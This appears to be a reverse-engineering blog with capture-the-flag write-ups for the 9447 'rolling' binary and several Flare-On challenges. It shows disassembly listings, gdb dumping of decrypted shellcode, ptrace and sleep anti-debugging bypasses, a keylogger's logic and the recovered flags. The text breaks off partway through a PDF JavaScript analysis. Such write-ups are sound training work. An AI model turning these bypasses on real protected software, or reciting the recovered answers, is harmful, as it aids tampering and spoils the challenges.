Reversing as an Art

Notes on RCE fun.

9447 CTF - Rolling Writeup

1
2
3
4
5
6
7
8
9
Category: Reversing Points: 100 Description:

Rolling your own stuff is pretty good :)

The flag format is 9447{$STR}, where $STR is the one accepted by the binary.

Note: This challenge is the only challenge to break the 9447{string} flag format. 
If $STR is the solution and the one accepted by the binary, 
please submit the flag as 9447{$STR} by manually adding the 9447{}.

What’s up guys?!

Today I’ll share the solution of the rolling challenge from the 9447 CTF where I took part as one of the members of CleveCode Rising Team. The challenge is a pretty simple reversing task with hidden password which is the flag. During the CTF I was unable to solve it due to technical problems on my linux box – for some reason the file was always crashing at some point. So, this is a post CTF solution.

As I’ve witnessed several times lately, CTF contests catch me in situations where not all the tools are present and what I get in most is just remote shell. In light of this, I decided to solve the task with the help of radare and gdb only. More to that, I wanted to play with the framework for some time know, so this is a good chance to learn.

First Run

Before digging in, let’s just run the file. Interestingly, there is some “obfuscation” even from the start. With the help of translation the messages could be “de-obfuscated”, the used language is Welsh.

./rolling
Fynd i mewn i cyfrinair -> Enter a password
./rolling foo
Nac oes. Ceisiwch eto.  -> No. Try again.

Radare to the rescue

We start by understanding what this rolling is about:

radare2 ./rolling
[0x004004f0]> ia
[Imports]
ordinal=001 plt=0x000004a0 bind=GLOBAL type=FUNC name=puts
ordinal=002 plt=0x000004b0 bind=GLOBAL type=FUNC name=mmap
ordinal=003 plt=0x000004c0 bind=GLOBAL type=FUNC name=__libc_start_main
ordinal=004 plt=0x000004d0 bind=UNKNOWN type=NOTYPE name=__gmon_start__
ordinal=005 plt=0x000004e0 bind=GLOBAL type=FUNC name=memcpy

5 imports
file    ./rolling
type        EXEC (Executable file)
pic         false
has_va      true
root        elf
class       ELF64
lang        c
arch        x86
bits        64
machine     AMD x86-64 architecture
os          linux
subsys      linux
endian      little
strip       true
static      false
linenum     false
lsyms       false
relocs      false
rpath       NONE

So this is an ELF64 binary with striped symbols – x64 bit linux box is needed to execute it. Before moving on, I suggest to go over Linux AMD64 ABI to get yourself more familiar with the calling convention. Let’s continue, by letting radare to fully analyze the file (aa). There are other various option available for the analysis, just use a? to check them out.

[0x004004f0]> aa

We need to get to the main function as this is where the fun begins. Let’s list all available functions:

[0x004004f0]> afl
0x004004f0 89    4  fcn.004004f0
0x00400549 64    4  fcn.00400549
0x00400589 35    3  fcn.00400589
0x00400520 41    4  fcn.00400520
0x004005ac 187   6  fcn.004005ac
0x00400550 57    4  fcn.00400550
0x004005fe 105   5  fcn.00400650
0x00400667 96    1  fcn.00400667
0x004004b0 6     1  sym.imp.mmap
0x004004b6 16    1  fcn.004004b6
0x0040049c 10    1  fcn.0040049c
0x004004a6 16    1  fcn.004004a6
0x004004c6 16    1  fcn.004004c6
0x004004d6 16    1  fcn.004004d6
0x004004e6 99    4  fcn.004004e6
0x004004e0 6     1  sym.imp.memcpy
0x004006c7 125   4  fcn.004006c7
0x004005dd 138   3  fcn.004005dd
0x00400744 106   5  main
0x004004a0 6     1  sym.imp.puts
0x004007ae 139   3  fcn.004007ae
0x00400839 9     1  fcn.00400839
0x00400842 11    1  fcn.00400842
0x0040084d 116   3  fcn.0040084d
0x004006c3 4     1  fcn.004006c3
0x004004c0 6     1  sym.imp.__libc_start_main

Jump to the main and list it:

[0x004004f0]> s main
[0x00400744]> pdf

It will be also useful to add some meaningful names to the functions. So the one which is called @ 0x0040076C eventually returns an address in RAX register which will be executed @ 0x0040077F. This behavior is leading to a new name DecryptShellcode. Address renaming can be done with afn. We continue with the under the hood listing of DecryptShellcode (don’t forget to explore other options with a?):

[0x00400744]> afn DecrypteShellcode fcn.004006c7
[0x00400744]> pdf @ DecrypteShellcode

So, what we have here is the following:

  • The first byte of the parameter to the executable is supplied as a parameter to the DecrypteShellcode
  • The DecrypteShellcode parameter should be between 0x39 and 0x2f to follow to 0x4006E8 otherwise to 0x400715
    • Pay attention that the third parameter to DecryptBuffer functions is hardcoded to 2 @ 0x400715
  • The parameter to the executable will decide which buffer will be decrypted and executed

We will explore the first execution path as it seems the most probable one, being dependent on the supplied parameter. Again, here too, key functions was renamed:

[0x00400744]> afn GetEncryptedBuffer fcn.00400667
[0x00400744]> afn DecryptBuffer fcn.004005dd

and add some comments for clearance:

[0x00400744]> C?
...
| CC[-] [comment-text]    add/remove comment. Use CC! to edit with $EDITOR
...
[0x00400744]> CC "Encrypted Buffer"@  0x004006ed
[0x00400744]> CC "Buffer Size" @ 0x004006e8

Let’s see what we have in GetEncryptedBuffer:

[0x00400744]> pdf @ GetEncryptedBuffer

The GetEncryptedBuffer will

  • map part of the executable file (rolling) into the memory starting from the beginning of the file
  • copy static buffer to the mapped memory
  • return encrypted buffer to the callee

Continue now to the DecryptBuffer:

[0x00400744]> pdf @ DecryptBuffer

I will not describe the implemented algorithm there as it does not really matter. The only thing that is important there is the information which should reveal the first byte of the key:

DecryptBuffer listing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/ (fcn) DecryptBuffer 138
|          0x004005dd    55           push rbp
|          0x004005de    4889e5       mov rbp, rsp
|          0x004005e1    48897de8     mov [rbp-0x18], rdi           ; encrypted buffer
|          0x004005e5    8975e4       mov [rbp-0x1c], esi           ; encrypted buffer size
|          0x004005e8    8955e0       mov [rbp-0x20], edx           ; amount of decryption passes
|          0x004005eb    c745f800000. mov dword [rbp-0x8], 0x0
|          0x004005f2    c745f800000. mov dword [rbp-0x8], 0x0
|          ; CODE (CALL) XREF from 0x0040065a (fcn.004005ac)
|      ,=< 0x004005f9    eb5f         jmp loc.0040065a
|      |   0x004005fb    8b45e4       mov eax, [rbp-0x1c]
|- fcn.00400650 105
|      |   0x004005fe    83e801       sub eax, 0x1
|      |   0x00400601    8945fc       mov [rbp-0x4], eax
|     ,==< 0x00400604    eb4a         jmp 0x400650 ; (fcn.004005ac)
|    .---> 0x00400606    8b45fc       mov eax, [rbp-0x4]
|    |||   0x00400609    4898         cdqe
|    |||   0x0040060b    488d1485000. lea rdx, [rax*4]
|    |||   0x00400613    488b45e8     mov rax, [rbp-0x18]
|    |||   0x00400617    4801d0       add rax, rdx
|    |||   0x0040061a    8b55fc       mov edx, [rbp-0x4]
|    |||   0x0040061d    4863d2       movsxd rdx, edx
|    |||   0x00400620    488d0c95000. lea rcx, [rdx*4]
|    |||   0x00400628    488b55e8     mov rdx, [rbp-0x18]
|    |||   0x0040062c    4801ca       add rdx, rcx
|    |||   0x0040062f    8b0a         mov ecx, [rdx]
|    |||   0x00400631    8b55fc       mov edx, [rbp-0x4]
|    |||   0x00400634    4863d2       movsxd rdx, edx
|    |||   0x00400637    48c1e202     shl rdx, 0x2
|    |||   0x0040063b    488d72fc     lea rsi, [rdx-0x4]
|    |||   0x0040063f    488b55e8     mov rdx, [rbp-0x18]
|    |||   0x00400643    4801f2       add rdx, rsi
|    |||   0x00400646    8b12         mov edx, [rdx]
|    |||   0x00400648    31ca         xor edx, ecx
|    |||   0x0040064a    8910         mov [rax], edx
|    |||   0x0040064c    836dfc01     sub dword [rbp-0x4], 0x1
|    ||    ; CODE (CALL) XREF from 0x00400604 (fcn.004005ac)
|    |`--> 0x00400650    837dfc00     cmp dword [rbp-0x4], 0x0
|    `===< 0x00400654    7fb0         jg 0x400606
|      |   0x00400656    8345f801     add dword [rbp-0x8], 0x1
|      |   ; CODE (CALL) XREF from 0x004005f9 (fcn.004005ac)
|- loc.0040065a 105
|      `-> 0x0040065a    8b45e0       mov eax, [rbp-0x20]           ; amount of decryption passes
|          0x0040065d    83e801       sub eax, 0x1
|          0x00400660    3b45f8       cmp eax, [rbp-0x8]            ; [rbp-0x8] is 0
|          0x00400663    7f96         jg 0x4005fb
|          0x00400665    5d           pop rbp
\          0x00400666    c3           ret

Finding the first byte of the key:

  • DecrypteShellcode @ 0x004006D4, the fist byte of the key must obey 0x2f < first_key_byte < 0x39
  • DecrypteShellcode @ 0x004006FF, the first byte is subtracted by 0x37 and passed to DecryptBuffer as “amount of decryption passes”
  • DecryptBuffer @ 0x0040065A, the (“amount of decryption passes” – 1) must be greater then 0.

So, following the above, we can conclude that the first byte of the key must be ‘9’ (0x39).

Shellcode

This portion of the task is done for now. We need to actually get the decrypted code, because it will reveal the rest of the key. To get the code, let’s jump to short session with GDB. We will break on 0x0040077F (execution of the shellcode) and dump the code for further analysis.

gdb$ dump binary memory shell.bin $rax $rax+0x87c

Opening it again in radare, doing some analysis (the shellcode is really simple) will grant the final key:

Shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
/ (fcn) fcn.00000000 542
|           0x00000000    55           push rbp
|           ; DATA XREF from 0x00000210 (fcn.00000000)
|           0x00000001    4889e5       mov rbp, rsp
|           0x00000004    48897df8     mov [rbp-0x8], rdi
|           0x00000008    488b45f8     mov rax, [rbp-0x8]
|           0x0000000c    0fb600       movzx eax, byte [rax]
|           0x0000000f    3c39         cmp al, 0x39                     ; 9
|       ,=< 0x00000011    0f8500020000 jne 0x217
|       |   0x00000017    488b45f8     mov rax, [rbp-0x8]
|       |   0x0000001b    4883c001     add rax, 0x1
|       |   0x0000001f    0fb600       movzx eax, byte [rax]
|       |   0x00000022    3c34         cmp al, 0x34                     ; 4
|      ,==< 0x00000024    0f85ed010000 jne 0x217
|      ||   0x0000002a    488b45f8     mov rax, [rbp-0x8]
|      ||   0x0000002e    4883c002     add rax, 0x2
|      ||   0x00000032    0fb600       movzx eax, byte [rax]
|      ||   0x00000035    3c34         cmp al, 0x34                     ; 4
|     ,===< 0x00000037    0f85da010000 jne 0x217
|     |||   0x0000003d    488b45f8     mov rax, [rbp-0x8]
|     |||   0x00000041    4883c003     add rax, 0x3
|     |||   0x00000045    0fb600       movzx eax, byte [rax]
|     |||   0x00000048    3c37         cmp al, 0x37                     ; 7
|    ,====< 0x0000004a    0f85c7010000 jne 0x217
|    ||||   0x00000050    488b45f8     mov rax, [rbp-0x8]
|    ||||   0x00000054    4883c004     add rax, 0x4
|    ||||   0x00000058    0fb600       movzx eax, byte [rax]
|    ||||   0x0000005b    0fbed0       movsx edx, al
|    ||||   0x0000005e    488b45f8     mov rax, [rbp-0x8]
|    ||||   0x00000062    0fb600       movzx eax, byte [rax]
|    ||||   0x00000065    0fbec0       movsx eax, al
|    ||||   0x00000068    83c039       add eax, 0x39
|    ||||   0x0000006b    39c2         cmp edx, eax                     ; r
|   ,=====< 0x0000006d    0f85a4010000 jne 0x217
|   |||||   0x00000073    488b45f8     mov rax, [rbp-0x8]
|   |||||   0x00000077    4883c005     add rax, 0x5
|   |||||   0x0000007b    0fb600       movzx eax, byte [rax]
|   |||||   0x0000007e    0fbec0       movsx eax, al
|   |||||   0x00000081    488b55f8     mov rdx, [rbp-0x8]
|   |||||   0x00000085    4883c201     add rdx, 0x1
|   |||||   0x00000089    0fb612       movzx edx, byte [rdx]
|   |||||   0x0000008c    0fbed2       movsx edx, dl
|   |||||   0x0000008f    83c23b       add edx, 0x3b
|   |||||   0x00000092    39d0         cmp eax, edx                     ; o
|  ,======< 0x00000094    0f857d010000 jne 0x217
|  ||||||   0x0000009a    488b45f8     mov rax, [rbp-0x8]
|  ||||||   0x0000009e    4883c006     add rax, 0x6
|  ||||||   0x000000a2    0fb600       movzx eax, byte [rax]
|  ||||||   0x000000a5    0fbec0       movsx eax, al
|  ||||||   0x000000a8    488b55f8     mov rdx, [rbp-0x8]
|  ||||||   0x000000ac    4883c202     add rdx, 0x2
|  ||||||   0x000000b0    0fb612       movzx edx, byte [rdx]
|  ||||||   0x000000b3    0fbed2       movsx edx, dl
|  ||||||   0x000000b6    83c238       add edx, 0x38
|  ||||||   0x000000b9    39d0         cmp eax, edx                     ; l
| ,=======< 0x000000bb    0f8556010000 jne 0x217
| |||||||   0x000000c1    488b45f8     mov rax, [rbp-0x8]
| |||||||   0x000000c5    4883c007     add rax, 0x7
| |||||||   0x000000c9    0fb600       movzx eax, byte [rax]
| |||||||   0x000000cc    0fbec0       movsx eax, al
| |||||||   0x000000cf    488b55f8     mov rdx, [rbp-0x8]
| |||||||   0x000000d3    4883c203     add rdx, 0x3
| |||||||   0x000000d7    0fb612       movzx edx, byte [rdx]
| |||||||   0x000000da    0fbed2       movsx edx, dl
| |||||||   0x000000dd    83c235       add edx, 0x35
| |||||||   0x000000e0    39d0         cmp eax, edx                     ;l
| ========< 0x000000e2    0f852f010000 jne 0x217
| |||||||   0x000000e8    488b45f8     mov rax, [rbp-0x8]
| |||||||   0x000000ec    4883c008     add rax, 0x8
| |||||||   0x000000f0    0fb600       movzx eax, byte [rax]
| |||||||   0x000000f3    0fbec0       movsx eax, al
| |||||||   0x000000f6    488b55f8     mov rdx, [rbp-0x8]
| |||||||   0x000000fa    4883c204     add rdx, 0x4
| |||||||   0x000000fe    0fb612       movzx edx, byte [rdx]
| |||||||   0x00000101    0fbed2       movsx edx, dl
| |||||||   0x00000104    83ea09       sub edx, 0x9
| |||||||   0x00000107    39d0         cmp eax, edx                     ; i
| ========< 0x00000109    0f8508010000 jne 0x217
| |||||||   0x0000010f    488b45f8     mov rax, [rbp-0x8]
| |||||||   0x00000113    4883c009     add rax, 0x9
| |||||||   0x00000117    0fb600       movzx eax, byte [rax]
| |||||||   0x0000011a    0fbec0       movsx eax, al
| |||||||   0x0000011d    488b55f8     mov rdx, [rbp-0x8]
| |||||||   0x00000121    4883c205     add rdx, 0x5
| |||||||   0x00000125    0fb612       movzx edx, byte [rdx]
| |||||||   0x00000128    0fbed2       movsx edx, dl
| |||||||   0x0000012b    83ea01       sub edx, 0x1
| |||||||   0x0000012e    39d0         cmp eax, edx                     ; n
| ========< 0x00000130    0f85e1000000 jne 0x217
| |||||||   0x00000136    488b45f8     mov rax, [rbp-0x8]
| |||||||   0x0000013a    4883c00a     add rax, 0xa
| |||||||   0x0000013e    0fb600       movzx eax, byte [rax]
| |||||||   0x00000141    0fbec0       movsx eax, al
| |||||||   0x00000144    488b55f8     mov rdx, [rbp-0x8]
| |||||||   0x00000148    4883c206     add rdx, 0x6
| |||||||   0x0000014c    0fb612       movzx edx, byte [rdx]
| |||||||   0x0000014f    0fbed2       movsx edx, dl
| |||||||   0x00000152    83ea05       sub edx, 0x5
| |||||||   0x00000155    39d0         cmp eax, edx                     ; g
| ========< 0x00000157    0f85ba000000 jne 0x217
| |||||||   0x0000015d    488b45f8     mov rax, [rbp-0x8]
| |||||||   0x00000161    4883c00b     add rax, 0xb
| |||||||   0x00000165    0fb600       movzx eax, byte [rax]
| |||||||   0x00000168    0fbec0       movsx eax, al
| |||||||   0x0000016b    488b55f8     mov rdx, [rbp-0x8]
| |||||||   0x0000016f    4883c207     add rdx, 0x7
| |||||||   0x00000173    0fb612       movzx edx, byte [rdx]
| |||||||   0x00000176    0fbed2       movsx edx, dl
| |||||||   0x00000179    83ea03       sub edx, 0x3
| |||||||   0x0000017c    39d0         cmp eax, edx                     ; i
| ========< 0x0000017e    0f8593000000 jne 0x217
| |||||||   0x00000184    488b45f8     mov rax, [rbp-0x8]
| |||||||   0x00000188    4883c00c     add rax, 0xc
| |||||||   0x0000018c    0fb600       movzx eax, byte [rax]
| |||||||   0x0000018f    0fbec0       movsx eax, al
| |||||||   0x00000192    488b55f8     mov rdx, [rbp-0x8]
| |||||||   0x00000196    4883c208     add rdx, 0x8
| |||||||   0x0000019a    0fb612       movzx edx, byte [rdx]
| |||||||   0x0000019d    0fbed2       movsx edx, dl
| |||||||   0x000001a0    83c20a       add edx, 0xa
| |||||||   0x000001a3    39d0         cmp eax, edx                     ; s
| ========< 0x000001a5    7570         jne 0x217
| |||||||   0x000001a7    488b45f8     mov rax, [rbp-0x8]
| |||||||   0x000001ab    4883c00d     add rax, 0xd
| |||||||   0x000001af    0fb600       movzx eax, byte [rax]
| |||||||   0x000001b2    0fbec0       movsx eax, al
| |||||||   0x000001b5    488b55f8     mov rdx, [rbp-0x8]
| |||||||   0x000001b9    4883c209     add rdx, 0x9
| |||||||   0x000001bd    0fb612       movzx edx, byte [rdx]
| |||||||   0x000001c0    0fbed2       movsx edx, dl
| |||||||   0x000001c3    83ea08       sub edx, 0x8
| |||||||   0x000001c6    39d0         cmp eax, edx                     ; f
| ========< 0x000001c8    754d         jne 0x217
| |||||||   0x000001ca    488b45f8     mov rax, [rbp-0x8]
| |||||||   0x000001ce    4883c00e     add rax, 0xe
| |||||||   0x000001d2    0fb600       movzx eax, byte [rax]
| |||||||   0x000001d5    0fbec0       movsx eax, al
| |||||||   0x000001d8    488b55f8     mov rdx, [rbp-0x8]
| |||||||   0x000001dc    4883c20a     add rdx, 0xa
| |||||||   0x000001e0    0fb612       movzx edx, byte [rdx]
| |||||||   0x000001e3    0fbed2       movsx edx, dl
| |||||||   0x000001e6    83c20e       add edx, 0xe
| |||||||   0x000001e9    39d0         cmp eax, edx                     ; u
| ========< 0x000001eb    752a         jne 0x217
| |||||||   0x000001ed    488b45f8     mov rax, [rbp-0x8]
| |||||||   0x000001f1    4883c00f     add rax, 0xf
| |||||||   0x000001f5    0fb600       movzx eax, byte [rax]
| |||||||   0x000001f8    0fbec0       movsx eax, al
| |||||||   0x000001fb    488b55f8     mov rdx, [rbp-0x8]
| |||||||   0x000001ff    4883c20b     add rdx, 0xb
| |||||||   0x00000203    0fb612       movzx edx, byte [rdx]
| |||||||   0x00000206    0fbed2       movsx edx, dl
| |||||||   0x00000209    83c205       add edx, 0x5
| |||||||   0x0000020c    39d0         cmp eax, edx                     ; n
| ========< 0x0000020e    7507         jne 0x217
| |||||||   0x00000210    b801000000   mov eax, 0x1 ;  0x00000001
| |||||||   0x00000215    eb05         jmp loc.0000021c
| ```````-> 0x00000217    b800000000   mov eax, 0x0
|           ; CODE (CALL) XREF from 0x00000215 (fcn.00000000)
|- loc.0000021c 2
|           0x0000021c    5d           pop rbp
\           0x0000021d    c3           ret

The key/flag is:

9447rollingisfun

./rolling 9447rollingisfun
Llongyfarchiadau -> Congratulations

Flare Challenges Solutions

Intro

More then a month ago, FireEye has published a challenge sequence with purpose of creating/recruiting FLARE Team. I’d like to present here my solutions to these series of interesting ‘brain’ teasers. The idea is simple, dig out from the binary the mail address which when mailed to will return to you the next binary in the series as an attachment. In the next few days I’ll post all the solutions I’ve came to.

Flare-On Challenge VI Solution

Back to Solutions List

Challenge #6, probably the most toughest task among the series. We are blessed with 64 bit statically linked ELF file with stripped symbols. During the challenge we will be using the following tools:

  • radare2
  • IDA
  • gdb

First things, first

Let’s execute the file (in VM of course) and see what will be the output (if any):

1
2
[test ~]$ ./c6
no

Not much, but it’s a start. This no will be our anchor and starting point in a minute.

Before continuing further I’d like to take a look statically on the binary. As already mentioned, the file comes with striped symbols, meaning we have no straight forward clues left for us. To continue, one needs to find the main function as this is the code to start from. Entry point of the execution, in most cases, will start from bootstrapping code which will prepare the environment for the programmer’s code to run. The preparation process is managed by __libc_start_main function with the following interface:

1
int __libc_start_main(int (*main) (...), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));

The first parameter here is the pointer to the main function and now, fire up radare2 and let’s do some actual examinations. radare2 is able to identify main function during code analysis stage.

Entery point examination
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[0x00401058]> aa                               ; whole program analysis
[0x00401058]> pdf                               ; disassemble function
/ (fcn) entry0 67
|          0x00401058    31ed         xor ebp, ebp
|          0x0040105a    4989d1       mov r9, rdx
|          0x0040105d    5e           pop rsi
|          0x0040105e    4889e2       mov rdx, rsp
|          0x00401061    4883e4f0     and rsp, 0xfffffffffffffff0
|          0x00401065    50           push rax
|          0x00401066    54           push rsp
|          0x00401067    49c7c040e64. mov r8, 0x45e640 ;  0x0045e640
|          0x0040106e    48c7c1b0e54. mov rcx, 0x45e5b0 ;  0x0045e5b0
|          0x00401075    48c7c7e1dc4. mov rdi, main ;  0x0045dce1
|          0x0040107c    e88fcc0500   call __libc_start_main
|             __libc_start_main(unk, unk) ; main+47
|          0x00401081    f4           hlt
|          0x00401082    90           nop
|          0x00401083    90           nop
           ; CODE (CALL) XREF from 0x004002fc (fcn.004002f8)
/ (fcn) fcn.00401084 23
|          0x00401084    4883ec08     sub rsp, 0x8
|          0x00401088    488b05496f3. mov rax, [rip+0x326f49] ;  0x00407fd8
|          0x0040108f    4885c0       test rax, rax
|          0x00401092    7402         je 0x401096
|          0x00401094    ffd0         call rax
|             0x00000000()
|          0x00401096    4883c408     add rsp, 0x8
\          0x0040109a    c3           ret

So, knowing that it’s 64 bit executable with appropriate ABI, we’d expect the main function be passed in RDI register and radare2 indeed supports the assumption.

Overview of the binary

The binary is heavily obfuscated with a lot of junk instructions and spaghetti code which makes it in general not user friendly. On the figure, you are seeing starting function and yes, this is one function where even IDA complained about amount of nodes being more that 1000. Further analysis showed that most of the code is in the same unfriendly condition.

Fig. 1

As you can see, it’s easy to get lost, but still let’s dive in for a while. Let’s start randomly examine various parts of the function and look for something. After some time, reoccurring patterns start to appear which are different from other junk code.

Fig. 2

Various constants are getting updated with first letters of some predefined words and this was happening all over the place. Constant’s examination showed interesting thing, all of them are actually cells of a static array.

Fig. 3

References to most of them showed the same update pattern:

Fig. 4

Intuitively, let’s examine the head of the array to check whether it’s referenced anywhere that could be of any interest.

Fig. 5

Before moving to the dynamic part of the challenge, some of you have spotted the bingo point (as I call it). It looks, that the constant array is actually an obfuscated shellcode which will be executed at the end. Currently it’s not interesting to understanding what type of obfuscation was used. Now, I hope the general idea is clear and I’d like to sum things up, before moving on to actually verifying all the theories:

  • The binary is hardened with spaghetti and junk code
  • During the execution, static array is filled with first letters of the predefined words
  • Eventually the array will be do-obfuscated and executed – this is an educated guess which will be checked during binary execution

So now, (hopefully) you understand a little bit what is going on. At the next step, gdb will be use as primary tool to solve the challenge and IDA will accompany us on the way. The author left numerous clues to be used and help us get to the end. The first one is the no message which appeared at the start.


The goal is to breakpoint on loc_44BAB9 (Fig. 5) and get to shellcode execution.


Clue -=no=-

1
2
3
4
5
6
7
gdb$ run
Starting program: ~~~~~~~~~./c6
Got object file from memory but can't read symbols: File truncated.
no
[Inferior 1 (process 453) exited with code 064]
...
gdb$

Finding no in IDA. Analyzing the chain on (Fig. 6) one can immediately see, that there were not enough arguments given on start up. There is still no information what should be supplied, but this will definitely get there. So, let’s restart with one arguments and follow the results.

Fig. 6

Clues -=na=- and -=stahp=-

1
2
3
4
5
6
7
gdb$ run bla
Starting program: ~~~~~~~~~./c6 bla
Got object file from memory but can't read symbols: File truncated.
na
[Inferior 1 (process 447) exited with code 0247]
...
gdb$

This time we explore the previous finding, where on error, the message was printed with print (Fig. 6). Using IDA’s xRef feature, we got the explanation for the na – this also shows insufficient parameters (Fig. 7) we supplied, so another one is needed.

Fig. 7

Just to check how many parameters there actually are, try to add more than two and it always will generate :

1
2
3
4
5
6
7
8
9
10
11
12

gdb$ run bla foo vvv
Starting program: ~~~~~~~~~./c6 4815162342 bbb vvv
Got object file from memory but can't read symbols: File truncated.
stahp
[Inferior 1 (process 583) exited with code 016]

gdb$ run bla foo vvv zzz
Starting program: ~~~~~~~~~./c6 4815162342 bbb vvv
Got object file from memory but can't read symbols: File truncated.
stahp
[Inferior 1 (process 583) exited with code 016]

and code confirmation:

So, there are only 2 parameters to work with.

Some anti-Debugging

Adding two parameters, got us to the next trouble:

1
2
3
4
5
6
7
gdb$ run bla foo
Starting program: ~~~~~~~~~./c6 bla foo
Got object file from memory but can't read symbols: File truncated.
Program received signal SIGSEGV, Segmentation fault
[Inferior 1 (process 457) exited with code 051]
gdb$

Let’s try once again and check why we got this output (Fig. 8) by using the Xref for print function.

Fig. 8

What we have here is actually a ptrace (0x65 system call) call with PTRACE_TRACEME request.

1
2
PTRACE_TRACEME
    Indicate that this process is to be traced by its parent. (pid, addr, and data are ignored.)

As you probably understood, current process is already traced by parent (gdb), so the new call to ptrace will result in failure. The solution for this trick is actually quiet easy, just overwrite set $EAX = 1 after return from ptrace or patch jz short loc_41f232 (Fig. 8) to jmp short loc_41f232 with your favorite hex editor. Assuming that this trouble was solved, let’s continue.

Clue -=bad=-

So, now we know that the application expects 2 arguments and was protected with anti-debugging. We continue now with the following:

1
2
3
4
5
6
7
gdb$ run bla foo
Starting program: ~~~~~~~~~./c6 bla foo
Got object file from memory but can't read symbols: File truncated.
bad
[Inferior 1 (process 488) exited with code 0244]
...
gdb$

Repeating the previous technique, it could be seen (Fig. 9) that some buffer is compared to bngcg`debd.

Fig. 9

Backtracking, leads to the fact , that the first parameter is actually xor’ed with V and stored in buffer before checking with bngcg`debd.

Fig. 10

To reveal the first parameter, let’s XOR the bngcg`debd with V and get 4815162342.

Sleeping

Once the application re-executed with new parameter, it freezes. Breaking in gdb reveals the issue.

Freezing examination
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gdb$ run 4815162342 foo
Starting program: ~~~~~~~~~./c6 4815162342 foo
Got object file from memory but can't read symbols: File truncated.
^C
Program received signal SIGINT, Interrupt.
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFFFFFFFDFC  RBX: 0x00007FFFFFFFDD50  RCX: 0xFFFFFFFFFFFFFFFF  RDX: 0x0000000000000000  o d I t s Z a P c
  RSI: 0x00007FFFFFFFDE50  RDI: 0x00007FFFFFFFDE50  RBP: 0x00000000FFFFFFFF  RSP: 0x00007FFFFFFFDCA8  RIP: 0x0000000000473D50
  R8 : 0x00007FFFFFFFDCB0  R9 : 0x0000000000000003  R10: 0x0000000000000008  R11: 0x0000000000000246  R12: 0x000000000045E5B0
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x473d50: cmp    rax,0xfffffffffffff001
   0x473d56: jae    0x476c30
   0x473d5c: ret
   0x473d5d: sub    rsp,0x8
   0x473d61: call   0x475940
   0x473d66: mov    QWORD PTR [rsp],rax
   0x473d6a: mov    eax,0x23
   0x473d6f: syscall

0x23 system call is actually nanosleep which is called from within sub_473B70. Sleeping is easily neutralized by supplying small sleep time.

Fig. 11

Shellcode

Finally, after all the adventures, gdb stopped on 0x44bab9 – just before decoding the static array with presumable shellcode.

The contents of the array @ 0x729900 are likely to be base64 encoded (I did not find the need to check the algo). After the decoding, the following shellcode will be executed (only part of it is show here).

The idea here is to take the obfuscation algorithm and execute it backwards with the help of the pen or python. It’s not very complex, so I leave it for you to implement. If everything is done right, you will get the following mail:

l1nhax.hurt.u5.a1l@flare-on.com

Bonus – back-connect code

As a bonus, the author left for us some back-connect code, sort of a prize as it will be activated only when the right 2nd parameter was supplied (which is the email).

Fig. 12 – back-connect code or here

This how it looks when executed:

So be careful and always use a controlled (to some degree) environment!!!

Flare-On Challenge v Solution

Back to Solutions List

This one starts the series of more challenging puzzles. The binary is actually a key logger with a twist, writing every pressed key into a log file.

Fig. 1

It will try to install itself in your system under %SystemRoot% by disguising as svchost.dll. It will also add itself under Run key to ensure persistence (boring). The interesting things are waiting for us latter on.

As I mentioned previously, this key-logger has a twist – each key press is monitored by GetAsyncKeyState which is running in the loop. Once the pressed key generated a character, it will be passed to a processing switch statement:

Fig. 2

The twist here is that the “secret” message was encoded by the means of flags that in the beginning all are initialized by init_secret_flags. Each flag represents the letter in the final “secret” message and the keys must be pressed in the particular order.

Fig. 3

If there is an error in the sequence, for example pressing 4, everything will be reset (Fig.4 – 2) – init_secret_flags called again. On the other hand, i will be somewhere in the final “secret” message (Fig. 4 – 3) as the next flag is set to ‘on’ state.

Fig. 4

The way to solve this puzzle is rather simple – just follow the flags in IDA (for example, using XRefs) where the particular flag is compared with 0 and write down the letter that is processes by that function. Pay attention, that the first flag is already set in init_secret_flags. Let’s walk the process for first 2 characters:

  • find reference for first flag where it is compared with 0
  • write down the character (‘l’)
  • find reference for second flag where it is compared with 0
  • write down the character (‘0’ – zero)

Fig. 5

Once done, you should see the following:

l0ggingdoturdot5tr0ke5atflaredashondotcom

Flare-On Challenge IV Solution

Back to Solutions List

In this task, there is a PDF file only. The first thought that crossed my mind was that there is some kind of exploit embedded in it. Let’s analyze the file to see what secrets it got hidden. There are several ways to do it: online resources (wepwet) or local. I’ll use the later as online will do most of work for you and you will miss all the fun and knowledge. So, I’ll show here the local way where the hands will get a little bit dirty :–).

For this task, I’ll use peepdf kit – fire up the tool with ./peepdf.py -f -i [path_to_pdf] and you will get the following:

The first thing we see here is Objects with JS code (1): [6], where 6 is the number of the object inside the pdf file. I’m not a big expert on pdf analysis but from some previous experience I know that exploits could be embedded in pdfs as JS code, so lets start with the analysis of it here.

Continuing with js_analyse object 6 will produce the following:

Decoded embedded JS object
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
